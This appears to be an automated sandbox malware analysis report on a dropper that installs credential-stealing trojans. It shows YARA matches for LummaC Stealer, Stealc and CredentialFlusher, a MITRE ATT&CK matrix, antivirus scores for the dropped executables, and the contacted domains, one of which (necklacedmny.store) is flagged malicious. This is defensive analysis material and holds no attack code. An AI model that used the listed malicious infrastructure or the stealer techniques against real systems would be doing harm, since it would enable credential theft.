Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Directory queried: C:\Users\user\Documents\HMPPSXQPQV	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Directory queried: C:\Users\user\Documents\LHEPQPGEWF	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Directory queried: C:\Users\user\Documents\LHEPQPGEWF	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Directory queried: C:\Users\user\Documents\HMPPSXQPQV
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Directory queried: C:\Users\user\Documents\HMPPSXQPQV
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Directory queried: C:\Users\user\Documents\LHEPQPGEWF
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Directory queried: C:\Users\user\Documents\QFAPOWPAFG
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Directory queried: C:\Users\user\Documents\HMPPSXQPQV
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Directory queried: C:\Users\user\Documents\HMPPSXQPQV
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Directory queried: C:\Users\user\Documents\LHEPQPGEWF
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Directory queried: C:\Users\user\Documents\QFAPOWPAFG
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Directory queried: C:\Users\user\Documents\HMPPSXQPQV
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Directory queried: C:\Users\user\Documents\LHEPQPGEWF
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Directory queried: C:\Users\user\Documents\QFAPOWPAFG
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Directory queried: C:\Users\user\Documents\HMPPSXQPQV
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Directory queried: C:\Users\user\Documents\LHEPQPGEWF
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Directory queried: C:\Users\user\Documents\QFAPOWPAFG
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Directory queried: C:\Users\user\Documents\HMPPSXQPQV
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Directory queried: C:\Users\user\Documents\LHEPQPGEWF
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Directory queried: C:\Users\user\Documents\QFAPOWPAFG
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Directory queried: C:\Users\user\Documents\HMPPSXQPQV
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Directory queried: C:\Users\user\Documents\LHEPQPGEWF
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Directory queried: C:\Users\user\Documents\LHEPQPGEWF
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP

Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe

Directory queried: number of queries: 1523

Source: Yara match	File source: 00000009.00000003.2803022659.0000000001301000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2954765378.00000000010C4000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2933392825.00000000010BF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2123562004.0000000001781000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2123613018.0000000001782000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 3440, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 21024c5511.exe PID: 5560, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 21024c5511.exe PID: 4228, type: MEMORYSTR

Remote Access Functionality

Yara detected Credential Flusher

Source: Yara match

File source: Process Memory Space: 036e90e395.exe PID: 5316, type: MEMORYSTR

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: file.exe PID: 3440, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 21024c5511.exe PID: 5560, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 21024c5511.exe PID: 4228, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 26.0.num.exe.860000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.num.exe.860000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.996773cd54.exe.cd0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.996773cd54.exe.cd0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 36.0.num.exe.860000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 36.2.num.exe.860000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000024.00000002.3081504525.0000000000861000.00000080.00000001.01000000.00000012.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000002.3081627351.000000000087E000.00000002.00000001.01000000.00000012.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000003.2911813021.0000000004C90000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.2876974078.0000000000C8E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000000.3066155076.000000000087E000.00000002.00000001.01000000.00000012.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2819953969.0000000000CD1000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.2876408637.000000000087E000.00000002.00000001.01000000.00000012.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2813065067.00000000009EE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.2876347937.0000000000861000.00000080.00000001.01000000.00000012.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000000.2857907960.0000000000861000.00000080.00000001.01000000.00000012.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000000.3066029603.0000000000861000.00000080.00000001.01000000.00000012.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.2771688785.0000000004EB0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.3000201409.000000000067B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000002.3084290708.0000000000D47000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.3005019658.0000000000CD1000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000000.2857985543.000000000087E000.00000002.00000001.01000000.00000012.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 996773cd54.exe PID: 5644, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: num.exe PID: 6788, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 996773cd54.exe PID: 3960, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: num.exe PID: 5680, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\num[1].exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1003096001\num.exe, type: DROPPED
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	21 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	411 Disable or Modify Tools	2 OS Credential Dumping	22 File and Directory Discovery	Remote Services	1 Archive Collected Data	11 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Windows Service	2 Bypass User Account Control	1 Deobfuscate/Decode Files or Information	LSASS Memory	225 System Information Discovery	Remote Desktop Protocol	41 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	1 Extra Window Memory Injection	3 Obfuscated Files or Information	Security Account Manager	1 Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Service Execution	11 Registry Run Keys / Startup Folder	1 Windows Service	12 Software Packing	NTDS	861 Security Software Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	1 PowerShell	Network Logon Script	12 Process Injection	1 DLL Side-Loading	LSA Secrets	2 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	1 Scheduled Task/Job	2 Bypass User Account Control	Cached Domain Credentials	361 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	11 Registry Run Keys / Startup Folder	1 Extra Window Memory Injection	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Masquerading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	361 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	12 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	39%	ReversingLabs	Win32.Trojan.Generic
file.exe	53%	Virustotal		Browse
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\Z8CGSNLTKTUPC3EY1G7AG03OLDYT.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\R4UI5PZ4W045Z6XA.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\WFFF3RQI4OTCXKCYJD8SM6QSC.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1003094001\996773cd54.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\Z8CGSNLTKTUPC3EY1G7AG03OLDYT.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\num[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\CT1ROX8L8OCI432H.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\R4UI5PZ4W045Z6XA.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1003095001\036e90e395.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1003096001\num.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\NY2MHEYTRUUIBIOHSM78UW53NORWWH.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\WFFF3RQI4OTCXKCYJD8SM6QSC.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1003094001\996773cd54.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\QEDBGN5ZBSJ2P7FMKVJ.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	47%	ReversingLabs	Win32.Trojan.CredentialFlusher
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	45%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\num[1].exe	96%	ReversingLabs	Win32.Trojan.Stealerc
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe	39%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	39%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1003094001\996773cd54.exe	45%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1003095001\036e90e395.exe	47%	ReversingLabs	Win32.Trojan.CredentialFlusher
C:\Users\user\AppData\Local\Temp\1003096001\num.exe	96%	ReversingLabs	Win32.Trojan.Stealerc
C:\Users\user\AppData\Local\Temp\CT1ROX8L8OCI432H.exe	37%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\NY2MHEYTRUUIBIOHSM78UW53NORWWH.exe	37%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\QEDBGN5ZBSJ2P7FMKVJ.exe	37%	ReversingLabs	Win32.Infostealer.Tinba

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
example.org	0%	Virustotal	Browse
star-mini.c10r.facebook.com	0%	Virustotal	Browse
prod.classify-client.prod.webservices.mozgcp.net	0%	Virustotal	Browse
prod.balrog.prod.cloudops.mozgcp.net	0%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label
http://detectportal.firefox.com/	0%	URL Reputation	safe
https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%	0%	URL Reputation	safe
https://merino.services.mozilla.com/api/v1/suggest	0%	URL Reputation	safe
https://spocs.getpocket.com/spocs	0%	URL Reputation	safe
https://screenshots.firefox.com	0%	URL Reputation	safe
https://ads.stickyadstv.com/firefox-etp	0%	URL Reputation	safe
https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM	0%	URL Reputation	safe
https://profiler.firefox.com/	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/switching-devices?utm_source=panel-def	0%	URL Reputation	safe
https://tracking-protection-issues.herokuapp.com/new	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report	0%	URL Reputation	safe
http://exslt.org/common	0%	URL Reputation	safe
https://ok.ru/	0%	URL Reputation	safe
http://exslt.org/dates-and-times	0%	URL Reputation	safe
http://win.mail.ru/cgi-bin/sentmsg?mailto=%s	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=	0%	URL Reputation	safe
https://bugzilla.mo	0%	URL Reputation	safe
https://mitmdetection.services.mozilla.com/	0%	URL Reputation	safe
https://static.adsafeprotected.com/firefox-etp-js	0%	URL Reputation	safe
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	0%	URL Reputation	safe
https://spocs.getpocket.com/	0%	URL Reputation	safe
https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f	0%	URL Reputation	safe
https://monitor.firefox.com/user/breach-stats?includeResolved=true	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report	0%	URL Reputation	safe
https://bugzilla.mozilla.org/show_bug.cgi?id=1584464	0%	URL Reputation	safe
https://docs.rs/getrandom#nodejs-es-module-support	0%	URL Reputation	safe
https://www.zhihu.com/	0%	URL Reputation	safe
http://x1.c.lencr.org/0	0%	URL Reputation	safe
http://x1.i.lencr.org/0	0%	URL Reputation	safe
https://infra.spec.whatwg.org/#ascii-whitespace	0%	URL Reputation	safe
https://support.mozilla.org/products/firefoxgro.all	0%	URL Reputation	safe
https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settings2	0%	URL Reputation	safe
https://contile.services.mozilla.com/v1/tiles	0%	URL Reputation	safe
https://monitor.firefox.com/user/preferences	0%	URL Reputation	safe
https://screenshots.firefox.com/	0%	URL Reputation	safe
https://gpuweb.github.io/gpuweb/	0%	URL Reputation	safe
https://www.wykop.pl/	0%	URL Reputation	safe
https://www.olx.pl/	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
example.org	93.184.215.14	true	false	0%, Virustotal, Browse	unknown
star-mini.c10r.facebook.com	157.240.0.35	true	false	0%, Virustotal, Browse	unknown
prod.classify-client.prod.webservices.mozgcp.net	35.190.72.216	true	false	0%, Virustotal, Browse	unknown
prod.balrog.prod.cloudops.mozgcp.net	35.244.181.201	true	false	0%, Virustotal, Browse	unknown
twitter.com	104.244.42.65	true	false		unknown
prod.detectportal.prod.cloudops.mozgcp.net	34.107.221.82	true	false		unknown
dyna.wikimedia.org	185.15.59.224	true	false		unknown
prod.remote-settings.prod.webservices.mozgcp.net	34.149.100.209	true	false		unknown
contile.services.mozilla.com	34.117.188.166	true	false		unknown
youtube.com	172.217.18.14	true	false		unknown
prod.content-signature-chains.prod.webservices.mozgcp.net	34.160.144.191	true	false		unknown
youtube-ui.l.google.com	142.250.181.238	true	false		unknown
us-west1.prod.sumo.prod.webservices.mozgcp.net	34.149.128.2	true	false		unknown
reddit.map.fastly.net	151.101.1.140	true	false		unknown
ipv4only.arpa	192.0.0.170	true	false		unknown
prod.ads.prod.webservices.mozgcp.net	34.117.188.166	true	false		unknown
push.services.mozilla.com	34.107.243.93	true	false		unknown
necklacedmny.store	188.114.96.3	true	true		unknown
